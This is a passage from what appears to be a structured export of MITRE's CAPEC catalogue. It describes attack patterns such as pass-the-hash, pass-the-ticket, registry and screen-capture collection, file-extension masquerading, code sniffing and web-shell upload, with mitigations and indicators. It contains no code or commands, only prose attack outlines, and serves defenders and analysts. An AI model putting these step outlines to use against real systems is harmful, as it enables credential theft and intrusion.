and properties files to discover hardcoded Windows credential hash value pairs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep38244 + Attack_Step_38244 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt domain authentication] Try each Windows credential hash value pair until the target grants access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually or automatically enter each Windows credential hash value pair through the target's interface.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep38250 + Attack_Step_38250 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Impersonate] An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within the domain</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep38255 + Attack_Step_38255 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Spoofing] Malicious data can be injected into the target system or into other systems on the domain. The adversary can also pose as a legitimate domain user to perform social engineering attacks.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep38260 + Attack_Step_38260 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Data Exfiltration] The adversary can obtain sensitive data contained within domain systems or applications.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application is connected to the Windows domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application leverages the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary possesses known Windows credential hash value pairs that exist on the target domain.</xhtml:div> + + + + + + + + + + + + #indSkillSkill38272 + Skill_38272 + + + + + + + + + + + + + + Once an adversary obtains a known Windows credential hash value pair, leveraging it is trivial. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A list of known Window credential hash value pairs for the targeted domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authentication attempts use credentials that have been used previously by the account in question.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authentication attempts are originating from IP addresses or locations that are inconsistent with the user's normal IP addresses or locations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Data is being transferred and/or removed from systems/applications within the network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Suspicious or Malicious software is downloaded/installed on systems within the domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Messages from a legitimate user appear to contain suspicious links or communications not consistent with the user's normal behavior.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence38285 + Consequence_38285 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence38291 + Consequence_38291 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence38296 + Consequence_38296 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Prevent the use of Lan Man and NT Lan Man authentication on severs and apply patch KB2871997 to Windows 7 and higher systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage multi-factor authentication for all authentication services and prior to granting an entity access to the domain network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor system and domain logs for abnormal credential access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a strong password policy and ensure that your system enforces this policy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage system penetration testing and other defense in depth methods to determine vulnerable systems within a domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries exploited the Zoom video conferencing application during the 2020 COVID-19 pandemic to exfiltrate Windows domain credential hash value pairs from a target system. The attack entailed sending Universal Naming Convention (UNC) paths within the Zoom chat window of an unprotected Zoom call. If the victim clicked on the link, their Windows usernames and the corresponding Net-NTLM-v2 hashes were sent to the address contained in the link. The adversary was then able to infiltrate and laterally move within the Windows domain by passing the acquired credentials to shared network resources. This further provided adversaries with access to Outlook servers and network storage devices. [REF-575]</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Operation Soft Cell, which has been underway since at least 2012, leveraged a modified Mimikatz that dumped NTLM hashes. The acquired hashes were then used to authenticate to other systems within the network via Pass The Hash attacks. [REF-580]</xhtml:div> + + + + + 522 + + + + + 836 + + + + + 308 + + + + + 294 + + + + + 308 + + + + + + + + + + + + #indTaxonomyMappingUseAlternateAuthenticationMaterialPassTheHash + Use Alternate Authentication Material:Pass The Hash + + + + + + + + + + + + + + 1550.002 + + + + + Use Alternate Authentication Material:Pass The Hash + + + + + + + + + + + + #indReferenceReference38326 + Reference_38326 + + + + + + + + + REF-575 + + + + + + + + + + + + #indReferenceReference38327 + Reference_38327 + + + + + + + + + REF-580 + + + + + + + + + + + + #indReferenceReference38328 + Reference_38328 + + + + + + + + + REF-581 + + + + + + + + + + + + #indReferenceReference38329 + Reference_38329 + + + + + + + + + REF-582 + + + + + + + + + + + + #indReferenceReference38330 + Reference_38330 + + + + + + + + + REF-583 + + + + + + + + + + + + #indContentHistoryContentHistory38332 + Content_History_38332 + + + + + + + + + + + + + + + + #indSubmissionSubmission38333 + Submission_38333 + + + + + + + + + CAPEC Content Team + + + + + 2018-07-31 + + + + + + + + + + + + #indModificationModification38337 + Modification_38337 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Consequences, Description, Example_Instances, Execution_Flow, Indicators, Likelihood_Of_Attack, Mitigations, Prerequisites, References, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Skills_Required, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification38343 + Modification_38343 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification38349 + Modification_38349 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description + + + + + + + + + + + + #CAPEC-645 + Use of Captured Tickets (Pass The Ticket) + + + + + + + + + 645 + + + + + Use of Captured Tickets (Pass The Ticket) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38364 + Related_Attack_Pattern_38364 + + + + + + + + + + + + + + 652 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38365 + Related_Attack_Pattern_38365 + + + + + + + + + + + + + + 151 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs physical access to the victim system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The use of a third-party credential harvesting tool.</xhtml:div> + + + + + + + + + + + + #indSkillSkill38372 + Skill_38372 + + + + + + + + + + + + + + Determine if Kerberos authentication is used on the server. + + + + + + + + + + + + #indSkillSkill38373 + Skill_38373 + + + + + + + + + + + + + + The adversary uses a third-party tool to obtain the necessary tickets to execute the attack. + + + + + + + + + + + + #indConsequenceConsequence38376 + Consequence_38376 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Reset the built-in KRBTGT account password twice to invalidate the existence of any current Golden Tickets and any tickets derived from them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor system and domain logs for abnormal access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Bronze Butler (also known as Tick), has been shown to leverage forged Kerberos Ticket Granting Tickets (TGTs) and Ticket Granting Service (TGS) tickets to maintain administrative access on a number of systems. [REF-584]</xhtml:div> + + + + + 522 + + + + + 294 + + + + + 308 + + + + + + + + + + + + #indTaxonomyMappingUseAlternateAuthenticationMaterialPassTheTicket + Use Alternate Authentication Material:Pass The Ticket + + + + + + + + + + + + + + 1550.003 + + + + + Use Alternate Authentication Material:Pass The Ticket + + + + + + + + + + + + #indReferenceReference38400 + Reference_38400 + + + + + + + + + REF-584 + + + + + + + + + + + + #indContentHistoryContentHistory38402 + Content_History_38402 + + + + + + + + + + + + + + + + #indSubmissionSubmission38403 + Submission_38403 + + + + + + + + + CAPEC Content Team + + + + + 2018-07-31 + + + + + + + + + + + + #indModificationModification38407 + Modification_38407 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Example_Instances, References, Related_Attack_Patterns, Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-646 + Peripheral Footprinting + + + + + + + + + 646 + + + + + Peripheral Footprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries may attempt to obtain information about attached peripheral devices and components connected to a computer system. Examples may include discovering the presence of iOS devices by searching for backups, analyzing the Windows registry to determine what USB devices have been connected, or infecting a victim system with malware to report when a USB device has been connected. This may allow the adversary to gain additional insight about the system or network environment, which may be useful in constructing further attacks.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38420 + Related_Attack_Pattern_38420 + + + + + + + + + + + + + + 169 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs either physical or remote access to the victim system.</xhtml:div> + + + + + + + + + + + + #indSkillSkill38428 + Skill_38428 + + + + + + + + + + + + + + The adversary needs to be able to infect the victim system in a manner that gives them remote access. + + + + + + + + + + + + #indSkillSkill38429 + Skill_38429 + + + + + + + + + + + + + + If analyzing the Windows registry, the adversary must understand the registry structure to know where to look for devices. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify programs that may be used to acquire peripheral information and block them by using a software restriction policy or tools that restrict program execution by using a process allowlist.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingPeripheralDeviceDiscovery + Peripheral Device Discovery + + + + + + + + + + + + + + 1120 + + + + + Peripheral Device Discovery + + + + + + + + + + + + #indContentHistoryContentHistory38443 + Content_History_38443 + + + + + + + + + + + + + + + + #indSubmissionSubmission38444 + Submission_38444 + + + + + + + + + CAPEC Content Team + + + + + 2018-07-31 + + + + + + + + + + + + #indModificationModification38448 + Modification_38448 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification38454 + Modification_38454 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification38460 + Modification_38460 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations, Skills_Required + + + + + + + + + + + + #CAPEC-647 + Collect Data from Registries + + + + + + + + + 647 + + + + + Collect Data from Registries + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38474 + Related_Attack_Pattern_38474 + + + + + + + + + + + + + + 150 + + + + + 514 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep38480 + Attack_Step_38480 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Gain logical access to system] An adversary must first gain logical access to the system it wants to gather registry information from,</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Obtain user account credentials and access the system</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Plant malware on the system that will give remote logical access to the adversary</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep38487 + Attack_Step_38487 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine if the permissions are correct] Once logical access is gained, an adversary will determine if they have the proper permissions, or are authorized, to view registry information. If they do not, they will need to escalate privileges on the system through other means</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep38492 + Attack_Step_38492 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Peruse registry for information] Once an adversary has access to a registry, they will gather all system-specific data and sensitive information that they deem useful.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep38497 + Attack_Step_38497 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Follow-up attack] Use any information or weaknesses found to carry out a follow-up attack</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have obtained logical access to the system by some means (e.g., via obtained credentials or planting malware on the system).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have capability to navigate the operating system to peruse the registry.</xhtml:div> + + + + + + + + + + + + #indSkillSkill38508 + Skill_38508 + + + + + + + + + + + + + + Once the adversary has logical access (which can potentially require high knowledge and skill level), the adversary needs only the capability and facility to navigate the system through the OS graphical user interface or the command line. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence38514 + Consequence_38514 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary is able to read sensitive information about the system in the registry.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ a robust and layered defensive posture in order to prevent unauthorized users on your system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ robust identification and audit/blocking via using an allowlist of applications on your system. Unnecessary applications, utilities, and configurations will have a presence in the system registry that can be leveraged by an adversary through this attack pattern.</xhtml:div> + + + + + 285 + + + + + + + + + + + + #indTaxonomyMappingDataFromLocalSystem + Data from Local System + + + + + + + + + + + + + + 1005 + + + + + Data from Local System + + + + + + + + + + + + #indTaxonomyMappingQueryRegistry + Query Registry + + + + + + + + + + + + + + 1012 + + + + + Query Registry + + + + + + + + + + + + #indTaxonomyMappingUnsecuredCredentialsCredentialsInRegistry + Unsecured Credentials: Credentials in Registry + + + + + + + + + + + + + + 1552.002 + + + + + Unsecured Credentials: Credentials in Registry + + + + + + + + + + + + #indContentHistoryContentHistory38541 + Content_History_38541 + + + + + + + + + + + + + + + + #indSubmissionSubmission38542 + Submission_38542 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-05-15 + + + + + + + + + + + + #indModificationModification38547 + Modification_38547 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification38553 + Modification_38553 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification38559 + Modification_38559 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations, Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification38565 + Modification_38565 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification38571 + Modification_38571 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification38577 + Modification_38577 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-648 + Collect Data from Screen Capture + + + + + + + + + 648 + + + + + Collect Data from Screen Capture + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary gathers sensitive information by exploiting the system's screen capture functionality. Through screenshots, the adversary aims to see what happens on the screen over the course of an operation. The adversary can leverage information gathered in order to carry out further attacks.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38591 + Related_Attack_Pattern_38591 + + + + + + + + + + + + + + 150 + + + + + 514 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have obtained logical access to the system by some means (e.g., via obtained credentials or planting malware on the system).</xhtml:div> + + + + + + + + + + + + #indSkillSkill38600 + Skill_38600 + + + + + + + + + + + + + + Once the adversary has logical access (which can potentially require high knowledge and skill level), the adversary needs only to leverage the relevant command for screen capture. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence38606 + Consequence_38606 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary is able to capture potentially sensitive information and processes as they appear on the screen.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using allowlist tools.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">While screen capture is a legitimate and practical function, certain situations and context may require the disabling of this feature.</xhtml:div> + + + + + 267 + + + + + + + + + + + + #indTaxonomyMappingScreenCapture + Screen Capture + + + + + + + + + + + + + + 1113 + + + + + Screen Capture + + + + + + + + + + + + #indTaxonomyMappingScreenCapture + Screen Capture + + + + + + + + + + + + + + 1513 + + + + + Screen Capture + + + + + + + + + + + + #indContentHistoryContentHistory38629 + Content_History_38629 + + + + + + + + + + + + + + + + #indSubmissionSubmission38630 + Submission_38630 + + + + + + + + + CAPEC Content Team + + + + + 2018-07-31 + + + + + + + + + + + + #indModificationModification38634 + Modification_38634 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification38640 + Modification_38640 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification38646 + Modification_38646 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-649 + Adding a Space to a File Extension + + + + + + + + + 649 + + + + + Adding a Space to a File Extension + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary adds a space character to the end of a file extension and takes advantage of an application that does not properly neutralize trailing special elements in file names. This extra space, which can be difficult for a user to notice, affects which default application is used to operate on the file and can be leveraged by the adversary to control execution.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38660 + Related_Attack_Pattern_38660 + + + + + + + + + + + + + + 635 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The use of the file must be controlled by the file extension.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence38666 + Consequence_38666 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">File extensions should be checked to see if non-visible characters are being included.</xhtml:div> + + + + + 46 + + + + + + + + + + + + #indTaxonomyMappingMasqueradingSpaceAfterFilename + Masquerading:Space after Filename + + + + + + + + + + + + + + 1036.006 + + + + + Masquerading:Space after Filename + + + + + + + + + + + + #indContentHistoryContentHistory38685 + Content_History_38685 + + + + + + + + + + + + + + + + #indSubmissionSubmission38686 + Submission_38686 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-05-31 + + + + + + + + + + + + #indModificationModification38691 + Modification_38691 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification38697 + Modification_38697 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-65 + Sniff Application Code + + + + + + + + + 65 + + + + + Sniff Application Code + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38710 + Related_Attack_Pattern_38710 + + + + + + + + + + + + + + 157 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38711 + Related_Attack_Pattern_38711 + + + + + + + + + + + + + + 37 + + + + + + + + + + + + #indAttackStepAttackStep38714 + Attack_Step_38714 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Set up a sniffer] The adversary sets up a sniffer in the path between the server and the client and watches the traffic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary sets up a sniffer in the path between the server and the client.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep38720 + Attack_Step_38720 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Capturing Application Code Bound During Patching]adversary knows that the computer/OS/application can request new applications to install, or it periodically checks for an available update. The adversary loads the sniffer set up during Explore phase, and extracts the application code from subsequent communication. The adversary then proceeds to reverse engineer the captured code.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">adversary loads the sniffer to capture the application code bound during a dynamic update.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary proceeds to reverse engineer the captured code.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have the ability to place themself in the communication path between the client and server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application must receive some application code from the server; for example, dynamic updates, patches, applets or scripts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to employ a sniffer on the network without being detected.</xhtml:div> + + + + + + + + + + + + #indSkillSkill38734 + Skill_38734 + + + + + + + + + + + + + + The attacker needs to setup a sniffer for a sufficient period of time so as to capture meaningful quantities of code. The presence of the sniffer should not be detected on the network. Also if the attacker plans to employ an adversary-in-the-middle attack (CAPEC-94), the client or server must not realize this. Finally, the attacker needs to regenerate source code from binary code if the need be. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The Attacker needs the ability to capture communications between the client being updated and the server providing the update.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In the case that encryption obscures client/server communication the attacker will either need to lift key material from the client.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence38743 + Consequence_38743 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence38747 + Consequence_38747 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Encrypt all communication between the client and server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use SSL, SSH, SCP.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Operation: Use "ifconfig/ipconfig" or other tools to detect the sniffer installed in the network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker receives notification that the computer/OS/application has an available update, loads a network sniffing tool, and extracts update data from subsequent communication. The attacker then proceeds to reverse engineer the captured stream to gain sensitive information, such as encryption keys, validation algorithms, applications patches, etc..</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Plain code, such as applets or JavaScript, is also part of the executing application. If such code is transmitted unprotected, the attacker can capture the code and possibly reverse engineer it to gain sensitive information, such as encryption keys, validation algorithms and such.</xhtml:div> + + + + + 319 + + + + + 311 + + + + + 318 + + + + + 693 + + + + + + + + + + + + #indTaxonomyMappingNetworkSniffing + Network Sniffing + + + + + + + + + + + + + + 1040 + + + + + Network Sniffing + + + + + + + + + + + + #indContentHistoryContentHistory38775 + Content_History_38775 + + + + + + + + + + + + + + + + #indSubmissionSubmission38776 + Submission_38776 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification38781 + Modification_38781 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification38787 + Modification_38787 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification38793 + Modification_38793 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification38799 + Modification_38799 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Prerequisites + + + + + + + + + + + + #indModificationModification38805 + Modification_38805 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses, Skills_Required + + + + + + + + + + + + #indModificationModification38811 + Modification_38811 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification38817 + Modification_38817 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName38823 + Previous_Entry_Name_38823 + + + + + + + + + 2015-12-07 + + + + + Passively Sniff and Capture Application Code Bound for Authorized Client + + + + + + + + + + + + #CAPEC-650 + Upload a Web Shell to a Web Server + + + + + + + + + 650 + + + + + Upload a Web Shell to a Web Server + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38831 + Related_Attack_Pattern_38831 + + + + + + + + + + + + + + 17 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The web server is susceptible to one of the various web application exploits that allows for uploading a shell file.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence38837 + Consequence_38837 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence38841 + Consequence_38841 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence38847 + Consequence_38847 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Make sure your web server is up-to-date with all patches to protect against known vulnerabilities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that the file permissions in directories on the web server from which files can be execute is set to the "least privilege" settings, and that those directories contents is controlled by an allowlist.</xhtml:div> + + + + + 287 + + + + + 553 + + + + + + + + + + + + #indTaxonomyMappingServerSoftwareComponentWebShell + Server Software Component:Web Shell + + + + + + + + + + + + + + 1505.003 + + + + + Server Software Component:Web Shell + + + + + + + + + + + + #indContentHistoryContentHistory38868 + Content_History_38868 + + + + + + + + + + + + + + + + #indSubmissionSubmission38869 + Submission_38869 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-05-31 + + + 